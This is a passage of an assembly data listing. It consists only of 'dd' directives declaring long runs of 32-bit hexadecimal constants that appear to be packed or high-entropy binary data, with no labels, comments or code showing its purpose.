		dd 0FAA7D976h, 129E603Ch, 4A97AC79h, 0BE377CEFh, 774889B5h
		dd 5C12A071h, 87F4ECE8h, 16F8D1B2h, 12A57A48h, 0E2BA8ED6h
		dd 7D33FB07h, 0BDDE0E8Bh, 98A15713h, 0D874BE2Eh, 0FF94D8EAh
		dd 6CA8155Fh, 0E9C129B0h, 0C6E5372Fh, 1F574F38h, 4EE96F1h
		dd 7D8716Dh, 0EC02CC68h, 6DB96808h, 1D412F63h, 0C727DA70h
		dd 5087F682h, 17CB8363h, 4EC255EEh, 0B001B0D8h,	0E91F4876h
		dd 25BD4130h, 0BC55DC85h, 0AFBF0162h, 60677860h, 0CCB51BB7h
		dd 0A3C5A823h, 539BC589h, 2C2691Dh, 43541317h, 5CDEF70Bh
		dd 0E1FC4115h, 2662133h, 1F4001D0h, 51B1B723h, 0AE1E7D49h
		dd 0C2A2E927h, 1F7E5DE3h, 4DDC757Ah, 3076B754h,	0F5AC60C2h
		dd 0E25FCC2Bh, 3AEB8944h, 0FFD97F47h, 7E141490h, 0ADE8675h
		dd 89C7532Dh, 8E98ED50h, 0F69EE0D3h, 5A1906C7h,	713440B9h
		dd 0C4D662E7h, 6601D0FDh, 38319168h, 0D9AF4F67h, 0DE12A022h
		dd 0B09BE120h, 1049084Dh, 51272913h, 5F946205h,	38AA5905h
		dd 2EB066ECh, 0B7CAC920h, 81279758h, 5BE92296h,	8C77621h
		dd 53176C07h, 1ADE5709h, 0E1FA551Fh, 544AC61Dh,	0BE3031D9h
		dd 0E6B4F7Eh, 0AF347204h, 0B19F35B4h, 87C1018Eh, 0D870F073h
		dd 3A715BF1h, 1B90637Ch, 52FB360Ch, 184E2641h, 1A6F6C68h
		dd 0E7786963h, 634B89Eh, 0F157480h, 0C13F793Dh,	0F7561424h
		dd 7F0CAF16h, 0DA0C040Ch, 3F241213h, 81F93D4h, 9513E34Ch
		dd 0B1D2BDEAh, 8E602AF6h, 6D29BBF9h, 0BF401CE7h, 0FC25091Fh
		dd 29C2707h, 47D623B0h,	1408C714h, 13CC315Bh, 3900EFD1h
		dd 0C822763h, 0C4694FE9h, 0EBA0C5A2h, 0D994708Bh, 521DBF24h
		dd 5B8C4D5h, 0BB68F1F7h, 0AAFC4478h, 948CAB50h,	75D95E93h
		dd 0DD6ED844h, 5C6D5B65h, 4668811Eh, 0F8C46495h, 0C31C0EF2h
		dd 0BB525205h, 6FE912C0h, 0E54ABDDCh, 201572F5h, 0F65F1FDEh
		dd 7C59604h, 70215E0Bh,	0FD8E35C7h, 8496808Ch, 166A81Dh
		dd 416817FDh, 58EE8C2Ch, 3975AC4Ah, 6ED0A1EEh, 0EF137FB6h
		dd 25C8BF5Dh, 0DB5EBF5Ch, 0A5FE15F1h, 50D8F5C7h, 1CFDB001h
		dd 250DEB68h, 2D50ED57h, 0FC2D95FEh, 6F25F324h,	0E299575Ch
		dd 0CEAF576Fh, 0C8CE97C4h, 5E12CAEEh, 0AA016E7Ch, 0B32F1B58h
		dd 0E941C16Ch, 0A42EFB3Bh, 0A6EC2C5Bh, 0F06AFD41h, 94408231h
		dd 69A5FA58h, 4A790DB8h, 0DDBB4412h, 8584ECD6h,	6300C7A4h
		dd 550E2B5Eh, 1124B68h,	815D0FA8h, 0F87152E5h, 0FD168778h
		dd 3BC026E9h, 904714BDh, 0F5810568h, 8224CFDEh,	0DC89EE3Ch
		dd 5194CD65h, 68610BA7h, 0ADC2C392h, 419B5A0Bh,	0B2458055h
		dd 287E80EAh, 494B2CF0h, 68579ED0h, 2A7D5DB4h, 2BED2BB1h
		dd 188042CCh, 780CA051h, 0B1050F95h, 0AB4DE90Bh, 9E40B3C9h
		dd 4F330E40h, 7B740B16h, 8DBA6BE0h, 45C86A17h, 4AE009AFh
		dd 7086A100h, 0D3A0202Eh, 7502F8B0h, 0E9D689C9h, 3B23F0BDh
		dd 0D192D929h, 0B7022096h, 77769015h, 4BD2E600h, 1FE96D7Ah
		dd 0BD71BFF9h, 699068C1h, 652FD38Bh, 67D5FFAh, 980DDE27h
		dd 33897h, 0F7814302h, 541E5C58h, 0B2B70CC0h, 0B829D2CAh
		dd 0EDD09742h, 4595FC9Dh, 0B861A06Dh, 687F1061h, 0CC7A4AC7h
		dd 53B0C172h, 71FCD62Dh, 2183C98Ch, 0E903D44Ah,	0D863C0F2h
		dd 628DD96Fh, 4B858E2Ah, 0E36069F0h, 0B8AA84C3h, 232BA0E1h
		dd 0E92A1D50h, 0C547F0FFh, 612F4E2Eh, 0EE04F5EDh, 0BEE2EE39h
		dd 32CC4F4Fh, 5806DED5h, 52E7E8F1h, 0E42C4C1Ch,	8D32989h
		dd 0EC2708A5h, 0E96960D0h, 0B4111CBAh, 0D7C4095h, 626FB492h
		dd 21FDA821h, 711AC67Bh, 9E815FE6h, 406B8928h, 0A5024FBEh
		dd 0FE31E92Dh, 0E183A58Eh, 0FD9D501h, 0CB52BE2Fh, 0EE2D8CF6h
		dd 0FCA78DD4h, 9A66086Fh, 93553B3Dh, 1AE6FE45h,	0A65BC117h
		dd 62946729h, 5D1E1CE2h, 49C92774h, 0F56FF562h,	0CE2EDB66h
		dd 686C7CA4h, 404B4E84h, 0F154014Fh, 212F5A23h,	236644F9h
		dd 0FFAE784Ah, 71392389h, 0CD81019Ch, 34F030AAh, 6D136324h
		dd 180015C9h, 4B656609h, 1EEF6029h, 5425CDC7h, 35506D4Eh
		dd 6B1C6108h, 163EAC4Bh, 82C5EF08h, 72AC282h, 0C57C635Bh
		dd 7E77B05h, 50C6EF87h,	0E8C98108h, 2A2348E4h, 0B5802CE9h
		dd 0EBF7F26Ah, 0D2218A74h, 6C980C0Bh, 0C33A42ADh, 30079C02h
		dd 71EB5AE9h, 0AE854F6Fh, 68D4434Ah, 0AE853217h, 0BF80B0F2h
		dd 751D534Dh, 0B905839Ah, 455F0965h, 0CD034EBCh, 25A3607Fh
		dd 6BC51102h, 4930DAA7h, 91710179h, 8DCFBD9h, 0F814BFE3h
		dd 0E6B955h, 9445B5B5h,	0ED5E487Bh, 0E2BED100h,	0B84C3539h
		dd 12AEBEFBh, 0C5F6BB5Fh, 5410EA4Ah, 68A325A9h,	0FCF1BB27h
		dd 0A9334ECAh, 0C1374B9h, 11E84CDFh, 0E92CA0E5h, 69A71037h
		dd 2225C63h, 4FB9C29Fh,	737021ABh, 2CD28979h, 0E86A82A1h
		dd 70C5A293h, 0A682549h, 745D2562h, 715FFA5Bh, 0CC22421Eh
		dd 300FE859h, 78E049C8h, 79BE1F05h, 8DD52D4h, 0C927A682h
		dd 2E25E6AFh, 0C9F0A03Eh, 53EF2B4Ah, 0C27152Dh,	463D015Ah
		dd 0F072CD64h, 59971CADh, 22CCA3Eh, 7F066ECDh, 43A07543h
		dd 0A7B8756Ah, 6165E932h, 51F97F59h, 3A2E064Ah,	5BD90800h
		dd 0E68EC180h, 0F6F23CF1h, 4110AE0h, 0C83A2869h, 5259072Ch
		dd 0E2D399B2h, 40C29A86h, 0A850D6FEh, 1DA4E1C8h, 0BE737653h
		dd 5502993Eh, 204F89D4h, 0B7A515C0h, 0BA52E1C0h, 58EE5C1Bh
		dd 0C40B867Dh, 6C0054C2h, 0E547CBC1h, 0D101241Ah, 45080948h
		dd 2A050355h, 0C2953144h, 7892DFCh, 29827409h, 0B608AB61h
		dd 1798D008h, 57808ADh,	0F72F31ACh, 0C4B59216h,	9F8421EFh
		dd 1F6C8524h, 40EE60D1h, 91718D8Ch, 0E951560Bh,	83D56375h
		dd 1298B9F8h, 5B5D369h,	8DE8B791h, 399C600Eh, 0E851916h
		dd 3EE602AFh, 9680A970h, 0E68F14C3h, 7C89D52Dh,	313B8205h
		dd 0C7881328h, 98082099h, 0DF37216Fh, 40D927BFh, 9EAC07Fh
		dd 3D526808h, 0E6601D5Eh, 0E649EC80h, 3C5176F4h, 0E4894BC4h
		dd 0CDA2C012h, 5B039515h, 2BEBC58Bh, 14FC4A01h,	0FF2D5EC5h
		dd 2DE935B0h, 4A9105BFh, 83EDB5Ch, 0CD199A9Ch, 65D2571Ah
		dd 0F1EB80Ah, 4500EE01h, 2E323352h, 0E06C7164h,	56443941h
		dd 0D495094h, 0E7544EC7h, 0A10A1A4Ch, 0A2E9F001h, 76E085Dh
		dd 6099D70h, 0FDDED5A1h, 0A1F12730h, 0E608CB0Ah, 84C19E44h
		dd 42A03A22h, 109821B7h, 0A18684ADh, 0EE44A348h, 0D7209922h
		dd 73D1B40h, 0D8B6A56Fh, 7755F00Ah, 0F20069A9h,	8CCF4614h
		dd 5913AEh, 0E6C4977Eh,	7F5DFE18h, 0F962B107h, 0A0BF4D1Bh
		dd 7C03E7B9h, 0D107009Ah, 8D451F84h, 0AC608E15h, 0BEE3113h
		dd 0EAF300A6h, 0BAA046DBh, 97005033h, 92D578BFh, 302FA2h
		dd 0EC3EE55Ah, 5CAB2E27h, 0A67AF3FAh, 35789E00h, 59633C02h
		dd 7FF67476h, 0C34E00BBh, 0C898DE03h, 0F7B86285h, 7FD1A300h
		dd 0DB4D9EB2h, 0CE46002Ch
		dd 48EDCF56h, 727E98DFh, 80FC5F3Fh, 861BDD6Ah, 6092D7h
		dd 9879371Dh, 0FA17E5C3h, 0A22A6100h, 9DF78CFCh, 21402F3Ch
		dd 0A374EA60h, 0CDAB801h, 0A7755308h, 0CC9948h,	32E3B18Fh
		dd 0BCB04B29h, 834A1B63h, 1C509FB5h, 2C96C54Eh,	72EAB8h
		dd 19A08456h, 94A00837h, 4300E2BCh, 0D5868C4Ah,	0B0EF6CA9h
		dd 92C91C84h, 34EA406Fh, 0D685904Eh, 0EE75F300h, 78BD0582h
		dd 0FACD4C47h, 0E90ECE30h, 6E00ED29h, 0DB8093BFh, 1F42F1B8h
		dd 326E45Ch, 0CDCEB037h, 10532A00h, 59BA7E61h, 56243D02h
		dd 377B9E83h, 8A0381DAh, 0B311A73Ch, 0FCA0F252h, 22F500DFh
		dd 878D5B39h, 28F6D400h, 0C79573E8h, 3210004Bh,	0CCAAB164h
		dd 9C003B31h, 3604E279h, 9D7BE0h, 391744CFh, 0D7B5A66Bh
		dd 9A21050Ah, 3D8981B8h, 0DD28063h, 0A3684Eh, 0A425B64Ch
		dd 6B260928h, 0FCA86D00h, 0CAD5E57Eh, 13D724BAh, 0E83A004Ah
		dd 0FB8AB106h, 0DE87DA04h, 0C0905990h, 0D24AB7h, 0C76B694Bh
		dd 78ABEE7Eh, 5D0F8400h, 66497664h, 0EC6F01A2h,	25078E06h
		dd 632880B5h, 80C3A8B3h, 0B8270C9Dh, 9B43653Bh,	7E57600h
		dd 583EE47Dh, 0F32201E0h, 7AF88568h, 366B20D4h,	739899E4h
		dd 12C0FDFCh, 0D2B564A7h, 2C121255h, 9BC206Eh, 332F2F52h
		dd 0D083C1F1h, 882B8053h, 180AF036h, 4488AC83h,	817E629h
		dd 0F00D73Ah, 0F7DD051Ch, 0EB010170h, 0F8BD72B5h, 998CCC9h
		dd 305C3100h, 8C5376E5h, 0E92C00A9h, 8DCE4503h,	5390E1AFh
		dd 4FC20600h, 0CFCBD50Ch, 341706ADh, 8DABD7D3h,	2E2DEA00h
		dd 0C9928250h, 0E81D60EBh, 556BC8Ah, 8059273Ah,	4626C19Fh
		dd 3D78491h, 70EB2BF9h,	5A12C492h, 740602Eh, 0AD8F16FAh
		dd 32F5A009h, 2BB94458h, 312AE700h, 114ACA0Eh, 0DCA300EEh
		dd 1C3CB556h, 0FC3B1541h, 0B73E055Fh, 0C203FED5h, 35175Ah
		dd 48130228h, 75AF5E25h, 382C9300h, 0DDC09B7Ah,	0FDA53050h
		dd 0C23A2030h, 11593B30h, 0EB89BDEh, 881F6B19h,	0A10C1EE5h
		dd 4CE054Bh, 8C70D5F1h,	8B0EEB45h, 608D99CCh, 5E873A0h
		dd 1F30E34Ah, 0B9DC007Fh, 0D65D43F2h, 0D6A1A9A3h, 8BC324E7h
		dd 80CB0E3Ah, 4228FE63h, 138790BBh, 47D472B8h, 78B94772h
		dd 87015213h, 488B626Fh, 14A216B0h, 0D87296EFh,	40B8EA1Fh
		dd 1E3FD70Dh, 377A8D10h, 4D132D54h, 0A921B300h,	2AC04022h
		dd 9F82C572h, 0C0BF9B3Ah, 0EA86793Eh, 83285B00h, 0E0D9A7Dh
		dd 7090A7h, 0A38951C8h,	0B7A46D2Bh, 0EACD9400h,	0DD8AD25Dh
		dd 17D73398h, 83A32C86h, 51A514D8h, 397FA22Eh, 0EB0E4D00h
		dd 3C14124h, 159C8258h,	7809AD53h, 16F5598h, 0D6358E60h
		dd 7AD013E4h, 60B100EDh, 0D7951DFBh, 3D4D203Bh,	1E8C00CEh
		dd 0E1F78ED5h, 57842E80h, 0D93E810Eh, 0D4D6A482h, 71003F1Dh
		dd 10DEBC9Fh, 7B5902h, 15F368ADh, 30E5F27Ah, 7F4D2B16h
		dd 60FB6B20h, 5DB40082h, 6A4E20FEh, 0B4801E3h, 0AC860754h
		dd 960480Dh, 4C189C23h,	0DD039D06h, 0B766F51Dh,	5B8013EBh
		dd 6400AF7Dh, 18D6D4F7h, 35E1FDh, 0D0947726h, 0D1E31A41h
		dd 1DA73A4Ch, 0F988CD2Eh, 7B9C0103h, 323402E0h,	3C2E6291h
		dd 0D9B7806Eh, 510A0Bh,	4394D873h, 0DDAB89D2h, 44223900h
		dd 0E0BE9D76h, 5CFF0112h, 41C8AC7Eh, 0E4BD845Fh, 62876B0Ah
		dd 0F91C3F70h, 0FD5E24B5h, 0FFE10469h, 8485816Ah, 2B3A2041h
		dd 5275E61Ch, 0B4591E01h, 21806909h, 7195D99Eh,	660E216Eh
		dd 20C26144h, 0C7DE8977h, 1301B670h, 0DC5C2CEEh, 78C06900h
		dd 89F8D619h, 0EC85004Ah, 4FAC8D3Ch, 49051E01h,	0FB23368Fh
		dd 70AB19C1h, 0ED303087h, 93C8E007h, 0B50028B0h, 10A98D05h
		dd 4DA3Fh, 2BE8A61Eh, 63460D30h, 0BF4BD600h, 8A4FCAA1h
		dd 0C24A3FE3h, 6B4E8B89h, 1388F887h, 0A9C81291h, 0CA0BA294h
		dd 883CEB2Eh, 9A008F0Dh, 290F52C4h, 0B23907B1h,	0A09B58D0h
		dd 0DA819555h, 84482B00h, 68F0CE8Dh, 0F9B0AAh, 612508CFh
		dd 4A74ABB0h, 0C5C9B101h, 0B5854B5h, 8AEE53h, 69F22235h
		dd 853BD8Bh, 0B65C2A00h, 1CF9C7A5h, 0C661003Fh,	77E431A6h
		dd 0A3B1CB99h, 0CEACAF07h, 6C4A1100h, 2FB60A9Ah, 5EE0C4Dh
		dd 59F8D2h, 3DA05CA8h, 7A9026CEh, 0FD253C09h, 13CDAF17h
		dd 7F719A04h, 2FED5A80h, 577A0AE1h, 40B2AD90h, 0E5B391CAh
		dd 0A2D2E0Ch, 0ED97EC6h, 11A6C22Fh, 0A3E9AFCFh,	0F2074A58h
		dd 8A583625h, 0BCF3D113h, 4EF6C8h, 0B4612F0Dh, 3E2EC9A7h
		dd 0DF7C9900h, 78E33301h, 47CC009Ah, 0A9683614h, 20CD4B2h
		dd 0D1B5971Eh, 0C160243Ah, 415664B4h, 0F1D35AD2h, 38766D74h
		dd 511E5BB6h, 876A8025h, 23E1C70Ah, 8F6DEE06h, 18101D05h
		dd 32CFAE5Ah, 8D7DB0F3h, 0A901728h, 0DF0330Bh, 6CD88449h
		dd 411A3E80h, 3FD97363h, 0A287B59Bh, 71733FD5h,	0D8B73518h
		dd 0C6069581h, 90AC56E3h, 0AEF10046h, 500B0AC8h, 1BB2B26Dh
		dd 0D9979507h, 0BC002338h, 1580754h, 5CAAC75h, 708ECFEAh
		dd 0BF0FA3DFh, 0CE391C47h, 0A0E1CB9Ch, 0AEB27764h, 7119FC32h
		dd 348F00FAh, 8AFA7DAh,	76283114h, 241EC321h, 8CC4AC66h
		dd 20C099C5h, 39166DFDh, 308045CCh, 7AF1E96Bh, 270E3FC2h
		dd 4046CE44h, 0BE2A6547h, 23EA0078h, 4AC054E7h,	7C002B73h
		dd 7598C350h, 9807CBAEh, 0EA2E3E39h, 19B3A6h, 0BCF165CAh
		dd 0A8160BC5h, 7B26D6F9h, 0CF4200C0h, 0F3A2698Ch, 7300A7D0h
		dd 0B2A84F0Ch, 37A5EDh,	1EE87B46h, 0AD4AB3Bh, 76540701h
		dd 0CBEE6DA8h, 6747D8D7h, 19C65C10h, 8068261Fh,	0E6C990B3h
		dd 0B7B0A270h, 8DC60260h, 3C0A36Ah, 88F0705h, 0D0003326h
		dd 0C4A9B264h, 9C94E81h, 196B18DDh, 0CE401042h,	0BE002C38h
		dd 469E63F9h, 75E22EA1h, 0BC930079h, 0C64F13F6h, 2F00B795h
		dd 98BBA071h, 19AC154h,	1B01B077h, 804FB294h, 11F4376Ah
		dd 713C44Dh, 0F28B9CAAh, 6588B023h, 5100B458h, 9E72204Ah
		dd 26569ABDh, 13A2A1BAh, 0DA0500F2h, 46CB176Ch,	0D8361550h
		dd 7D94620Eh, 3877CCDEh, 0FC1202D7h, 5F64B5D9h,	0C007D50h
		dd 2BE97F44h, 25073E8h,	2FE2A689h, 0C88962AFh, 0C0A25E00h
		dd 45E64B5Ch, 4E0B024Bh, 51F7066Ah, 93D60019h, 2CE6D560h
		dd 0A73BACC6h, 4C05F8F8h, 3E6C6712h, 250B6980h,	0BEBC009Eh
		dd 0FE41C04Ah, 0E200694Fh, 0BA42ECE3h, 31E0A0h,	0BDBC072Ah
		dd 0FC1C4C5Ah, 0F358FAB0h, 0D91A0096h, 95DFF0C7h, 0B43C05B2h
		dd 822EF4EFh, 0E960D02Fh, 0F1002930h, 94C74D0Bh, 16AC33B1h
		dd 239760Ch, 0A5A3C63Ch, 5040A50h, 0A4684B10h, 43081780h
		dd 0DF48C0B1h, 41B79A40h, 199A7354h, 7F62F90Fh,	62961C4h
		dd 0FCD8AD33h, 0E3A11387h, 22E26030h, 492C6CEFh, 1F805905h
		dd 0CC5FFEC3h, 0C1B7242Eh, 7047021Dh, 65C16BA6h, 0C22C4Ch
		dd 814FC5A8h, 0CE5CB90h, 0CC04E66Dh, 44B0896Ah,	32AAA803h
		dd 5CBC9ABh, 280B4E16h,	797ACh,	4152049h, 0E1195994h, 95280896h
		dd 71A5E900h, 9283C7EAh, 62A6C900h, 4185A8B3h, 678A01D1h
		dd 4B6EED23h, 2AB78407h, 0B8AE8068h, 2404130Fh,	5E2E9EABh
		dd 40B1C1D1h, 0D3CCCC2Eh, 6099C05h, 0E2BF1C8Bh,	0CABBD7E4h
		dd 0B7680B32h, 8B195F77h, 5DC53E42h, 0D30DCBFEh, 17808BEFh
		dd 2A07D647h, 0F3B08656h, 31D7B48h, 0B8BACA46h,	0AC00A4B6h
		dd 0E0FFC503h, 2EF7B3h,	1484F665h, 0B68FD478h, 67527C00h
		dd 20CF6C64h
		dd 0B43D0FBBh, 366076F2h, 990D2AE3h, 1A948200h,	628F4F2Bh
		dd 0CCE7003Dh, 0E032E26Dh, 0B958263Ah, 5DB60035h, 0E17A6515h
		dd 0E94A0294h, 2612A28Eh, 36DF340h, 1A71E801h, 240FD3B1h
		dd 806654DEh, 0CFE12627h, 98E036CDh, 6AA8FF1Eh,	6450EB40h
		dd 5EE8A70h, 8B0F565Eh,	0CB932006h, 6B1D7711h, 0C6C6594Eh
		dd 2D1A659Ch, 239087B1h, 58003AB3h, 0F31BBF52h,	0A05953F8h
		dd 4A0F30A7h, 8B8E888Fh, 5A7BFB7Dh, 46C5B74Bh, 6F99E781h
		dd 0F2FF2D8h, 6677017Ch, 0A8BBE1A5h, 88EE0074h,	0CB8074C3h
		dd 3764C1E7h, 9223D339h, 90FE065Ah, 0BB3CE882h,	82CABE07h
		dd 2AF7CF22h, 0DEB9E7E1h, 37F15482h, 0E063832Bh, 37000B93h
		dd 0F0E75F6Fh, 33D706Eh, 5D372EA9h, 210012E9h, 9B02BB30h
		dd 0C0578h, 161AAE15h, 19A7BD84h, 0D27C1807h, 19485Bh
		dd 2E238D75h, 4EF8EC1Bh, 0F66814Ch, 4F01CB85h, 0DD0EB966h
		dd 138120E9h, 7FF3C99Ch, 61F02F8Ch, 2820B12h, 6DFEE969h
		dd 1A085D80h, 364F360h,	772D9CF5h, 0E9C870FBh, 451C96CCh
		dd 6E80735Fh, 0A4BEB4E1h, 1F7D7A65h, 837CE0C5h,	0E69A5CCEh
		dd 15730802h, 0E033DCCFh, 0CE79E33Fh, 8C831921h, 11014D47h
		dd 6D99A1F3h, 1C4077FEh, 6098A2BFh, 94DF11DBh, 0FA206490h
		dd 685F02C6h, 0BA963D8Ch, 4C9D4E20h, 674B2070h,	31C6CE02h
		dd 1160E7B9h, 7C489071h, 4E1AC022h, 20C070DDh, 0C73BF050h
		dd 0E66C4447h, 88EFFA00h, 0E77E797Ch, 8DB677Dh,	5C68404Dh
		dd 18304A74h, 216F2078h, 0CBFA34BCh, 74298031h,	4500B12Fh
		dd 0B3AAABF1h, 0A89C8DBh, 0B95ECD5Dh, 4BF200A0h, 0CC784883h
		dd 0F678A2F8h, 10571631h, 8980D847h, 0D06D1020h, 6000FE0Ah
		dd 680815C3h, 781625CAh, 0EC03006Ah, 17305C6Bh,	61EC16Ch
		dd 2B0084B6h, 0DCD610Fh, 0C6563ABAh, 0C4915F07h, 0AD62101Ch
		dd 0CF000B2Ch, 831118B5h, 3F1A1EC7h, 980D165h, 160ECE6Ch
		dd 7152CA5Eh, 0FFA08738h, 948E5D87h, 0C7A7A818h, 80BF5A08h
		dd 3E5C6C1Ch, 0D067E700h, 0ACCF1422h, 6A1000FFh, 7E5F23A7h
		dd 1C7402CEh, 2DB33Ch, 0EB18D48Bh, 0A071AA87h, 0E57BB068h
		dd 0D55F0BE0h, 4471C39h, 97F4E7C4h, 35FC505Ch, 0C8A86626h
		dd 7600DB25h, 0FAE4ACCCh, 9079059Eh, 70C43000h,	4A72DC30h
		dd 1803FD30h, 19747768h, 1104092Ah, 4374205Fh, 5812E200h
		dd 602362C8h, 5D2CA01Ch, 0BAEE24EDh, 1A0C2300h,	0C38888Dh
		dd 30C1C8E6h, 0B7E2483Ch, 605059A8h, 0EB7E790Ch, 2567CFFCh
		dd 2039AF40h, 0ED5C4ED8h, 1559C289h, 78A1EBCBh,	426068AFh
		dd 0FB1DF858h, 0D5F23B84h, 0E25F91Dh, 911A4AB0h, 62CD700Eh
		dd 68129E73h, 0D4E9CC41h, 2880BE7Eh, 0F8AB09FCh, 0E028117Ch
		dd 389A0CB4h, 13F86644h, 6BF042h, 222051B8h, 213AC9F6h
		dd 0CE0CD0FFh, 74496D78h, 33F404FCh, 0B0C0633Eh, 50BBEE1h
		dd 0FCB06048h, 5C0C0113h, 34C1FB64h, 0FA304914h, 3CF0B190h
		dd 7EE72977h, 11BBD164h, 0F0301220h, 48CAA29h, 82439BCh
		dd 174241B8h, 0CD80C8D0h, 19AB61F2h, 4C437B19h,	0E0A223F8h
		dd 5C417062h, 0B872081Eh, 0D504A9F7h, 62CBE0F8h, 0DC22C0C5h
		dd 14738CB1h, 0FE01E46Ah, 0FAF8BF09h, 9869B208h, 901113BBh
		dd 1916DC8Fh, 60F8435Eh, 5126353Ch, 8821B8C6h, 7B17AC82h
		dd 0DEBCCB68h, 987E5859h, 40629442h, 0E0A26DEEh, 0C4C6AB4h
		dd 0B97412EBh, 99A39F80h, 75080A0Ch, 3C1205E0h,	0A1048A6Fh
		dd 884CE660h, 10E0D67Eh, 5521F484h, 0BC12CD04h,	40200456h
		dd 1A510273h, 45284C8Dh, 34800A6Bh, 0C619931h, 8C4077D6h
		dd 4CFFBEBFh, 21FB0C47h, 0A88452BFh, 25C26252h,	18073D5h
		dd 750C9946h, 94AC695Ch, 1623FF9Ch, 2ABA43D4h, 0A0AF8CCFh
		dd 69B17D90h, 6C1420B3h, 0FDFD2588h, 96748815h,	5061846Ah
		dd 8F25BBF8h, 631CC981h, 5194BDFBh, 81DBA80Dh, 8A759AE1h
		dd 0D84C3879h, 49BE304Ah, 4C22B458h, 0F82C6711h, 768D058Ah
		dd 0F0FD0946h, 4763624Ch, 0E019AE10h, 90C54359h, 53F23E78h
		dd 0C9415244h, 2035DC42h, 0A27AFD22h, 670D18C0h, 4D17243h
		dd 4ACD5C3Eh, 0A7018B5h, 9C048278h, 813C518Dh, 0C91DC0AAh
		dd 1CE8451Eh, 6311903Ch, 51E536E7h, 8BC13CD8h, 1EB361F2h
		dd 41EA10h, 73035449h, 10C178Ah, 5F3CA188h, 0F043B872h
		dd 2A3EA77Ah, 71A01409h, 18B13114h, 2471BA3Eh, 261819DCh
		dd 0E2A8B485h, 0EC81760Eh, 0C5CF71h, 3FACB7EBh,	1709F42Eh
		dd 58077B63h, 65FB12FAh, 0DC430441h, 109253DAh,	0B4728C03h
		dd 0B4D022FEh, 6A536CD7h, 9C14AAAFh, 56EB2320h,	3808C02Ch
		dd 6EE70982h, 18DE2C23h, 96A217A8h, 12ECC200h, 0C1866553h
		dd 0D752093Ch, 6001B1E8h, 347C99AEh, 7800BF18h,	7AF62821h
		dd 66DE7F80h, 21C9088Ah, 2104BD7Bh, 55F54759h, 9100B4E3h
		dd 808C10C4h, 0F4001C28h, 0DB4DDDE0h, 2931A33h,	0A0DF6D0Fh
		dd 6C409FF0h, 0D4A0B1D2h, 0E90CFFF4h, 1091DBFCh, 66443170h
		dd 40F96DC1h, 0ADE8DF4Ch, 0A22F7202h, 85C9D513h, 0CC1823B8h
		dd 58CAF68Ch, 7C098C80h, 14A07F44h, 0BD0A0153h,	0AAEBF803h
		dd 30BBF260h, 3D216808h, 3C000A09h, 521513E7h, 0B09683B4h
		dd 6088C848h, 66E6C280h, 0C02C067h, 7846EDD8h, 0B700D041h
		dd 5BA842C1h, 902E7D7Ch, 0DF7551h, 0A9EFB2DBh, 0FA6168BFh
		dd 72B82A14h, 5C567894h, 25B2B054h, 28480113h, 0C9128623h
		dd 0B5E0427Eh, 8216D30h, 8352F613h, 0B841C764h,	0C0F72175h
		dd 0F0005EBAh, 67B61519h, 9857417h, 2C426261h, 5ABB94E0h
		dd 8893CD3Fh, 84C622EEh, 0C0C56A33h, 0ED4E724h,	1BAFCF40h
		dd 905F7B47h, 217760B4h, 82F61029h, 9EC8C880h, 7C21809Eh
		dd 634F946Eh, 46D52816h, 0D6C6490h, 61E81E8Fh, 182F0F2Bh
		dd 0C09C808Ah, 0F8B90A05h, 91AB0B21h, 0D310069h, 731DFB0Ah
		dd 0D74200A8h, 1BBC7D43h, 840305DEh, 0B7706367h, 0CE4B9831h
		dd 8B54B46Fh, 9810E70Ah, 3C3C167Ch, 0DB058374h,	303DDFCAh
		dd 0A3217608h, 0A1003C2Ch, 65787CF3h, 28078192h, 964447Fh
		dd 5A3A85F4h, 0BC6F7080h, 1B0F2510h, 0D0B0F7h, 0AA7BF8B7h
		dd 31626044h, 9AB5B2F2h, 421D39E6h, 8AC0C3E2h, 0A99547BAh
		dd 0DC120410h, 0C75BC643h, 0E3A86344h, 9417482Ch, 97A71D02h
		dd 0C0B0D2CBh, 0A3E96CC9h, 120E75AFh, 0E14206E5h, 56497B5Dh
		dd 4E15ECBAh, 6E60A0F9h, 735F1F3h, 1124209h, 19B802D1h
		dd 2060407Ch, 61CA6097h, 4BEB9AEh, 50BB4833h, 0B659304Fh
		dd 0BEB19121h, 2F4CC500h, 0EA41F64Ah, 0CD5E35DCh, 0E190050h
		dd 0C6981373h, 0CAD96891h, 3E061018h, 0D3A8FA48h, 151B00A8h
		dd 98DA29Ah, 14B6DF79h,	0AB3D9106h, 72246C0h, 4806BEB7h
		dd 0AF8F70E8h, 4B07BE00h, 41A8E0ECh, 8819541Ah,	0BD4217E6h
		dd 47080F0Ah, 0D87B9986h, 0D2286400h, 0BE0D21AFh, 729128Fh
		dd 96900948h, 8020C048h, 0CF45A00h, 83622A2Ch, 19F800F0h
		dd 0EE4A5150h, 88902FCDh, 0F36C090Ch, 14F4F179h, 0FC72521Bh
		dd 0FA629C05h, 0D7F042BCh, 0D8805B0Eh, 3B292259h, 44E64Ch
		dd 0FF62CE0Dh, 17B4E797h, 4065B032h, 38F0C25Ch,	76480FCDh
		dd 167FB018h, 4BC000B3h, 1BAF2965h, 1092F884h, 6B1830B9h
		dd 880876h, 286AD882h, 0F471E964h, 9492E6EEh, 2F1DB475h
		dd 21836169h, 40506A8Ah, 7BDCF880h, 0D0436713h,	10668B44h
		dd 0AF221C00h, 1A11A80h
		dd 64882484h, 0E02587C7h, 528B0D6h, 69C0E977h, 1F41BB1h
		dd 5FE639B6h, 0CF497031h, 99F7E451h, 1A642900h,	0A0FC6197h
		dd 26163DBCh, 0F4558F07h, 1E708AFEh, 0B6DE001Dh, 0E9E12862h
		dd 24BED417h, 3B16801Fh, 3B0FA1Ah, 0D8192EA0h, 60E6AEE0h
		dd 0C3447163h, 7503DE66h, 0E2BE1D23h, 29D90071h, 2AB27F05h
		dd 0B90106F4h, 1BC84C27h, 2820C1E9h, 482F0674h,	10CEA0EAh
		dd 304C334Ch, 0B4E95982h, 7E0A9D6h, 0C3D02888h,	616E9A09h
		dd 0A0E29660h, 0E464DFA0h, 0C4E6007Ch, 766BFCF6h, 0F23DEFE8h
		dd 4287039Dh, 2ADC8EAh,	0D7093840h, 0E06729BCh,	6C60C544h
		dd 0DC00FD61h, 5FBB35B1h, 0B9A256EEh, 0E6A140DCh, 0E096584Ah
		dd 0CF826601h, 1474E1DAh, 2F5D024Fh, 7BE8BDD4h,	2A102CD2h
		dd 470A8430h, 4F9498E2h, 1858A48Fh, 5B26AB15h, 0CC16D0BEh
		dd 0E8DCDF16h, 51636044h, 5B67AA2Eh, 6831EF24h,	0BE288A07h
		dd 5491D980h, 1CA87ADEh, 2C17904Eh, 0F11F38h, 0BE03B2C6h
